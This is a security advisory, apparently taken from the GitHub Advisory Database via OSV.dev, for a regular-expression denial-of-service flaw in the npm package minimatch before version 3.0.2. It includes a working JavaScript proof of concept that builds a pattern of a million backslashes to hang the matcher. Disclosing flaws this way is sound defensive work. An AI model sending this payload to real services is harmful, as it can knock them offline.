GHSA-hxm2-r34f-qmc5

Regular Expression Denial of Service in minimatch

En bref

Publiée
Mise à jour
CVE
CVE-2016-10540
CVSS_V3
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description

Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`. ## Proof of Concept ```js var minimatch = require(“minimatch”); // utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; } var exploit = “[!” + genstr(1000000, “\\”) + “A”; // minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ``` ## Recommendation Update to version 3.0.2 or later.

Paquets affectés

PaquetVersions
npm · minimatchintroduced 0, fixed 3.0.2

Références

Sources

SourceLicence
OSV.devCC-BY 4.0 — GitHub Advisory Database